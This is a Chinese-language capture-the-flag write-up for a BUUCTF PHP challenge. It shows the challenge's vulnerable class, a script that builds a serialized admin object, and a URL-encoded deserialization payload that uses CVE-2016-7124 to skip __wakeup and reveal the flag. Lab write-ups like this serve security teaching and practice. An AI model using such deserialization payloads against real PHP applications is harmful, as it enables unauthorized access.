BUU_[极客大挑战 2019]PHP1

这一题的主要考点是PHP反序列化
但是这都不是重点
重点是猫猫可爱捏
Pasted image 20241008160503.png

首先给了我们一个信息,那就是这个网站存在备份,我们下载一下备份
www.zip(用工具扫一下就能扫出来)

index.php中有一段php代码:
Pasted image 20241008161408.png
也就是GET接收select 变量,在对其进行反序列化

主体在class.php中,我们看一下:

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

我们构建:

<?php  
  
class Name{  
    private $username = 'admin';  
    private $password = '100';  
      
}  
  
$a=new Name();  
echo serialize($a);  
?>

Pasted image 20241008163235.png
注意要将里面那个方框乱码替换为%00
也就是:

O:4:%22Name%22:2:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}

现在的输出情况:
Pasted image 20241008163435.png

这里的原因是因为在反序列化的时候,会调用__wakeup()函数

解决这个问题可以利用漏洞CVE-2016-7124

我们查看一下PHP版本,发现在影响版本里面
Pasted image 20241008163740.png

我们只需要简单修改一下payload即可:

O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}

flag就拿到了:
Pasted image 20241008163841.png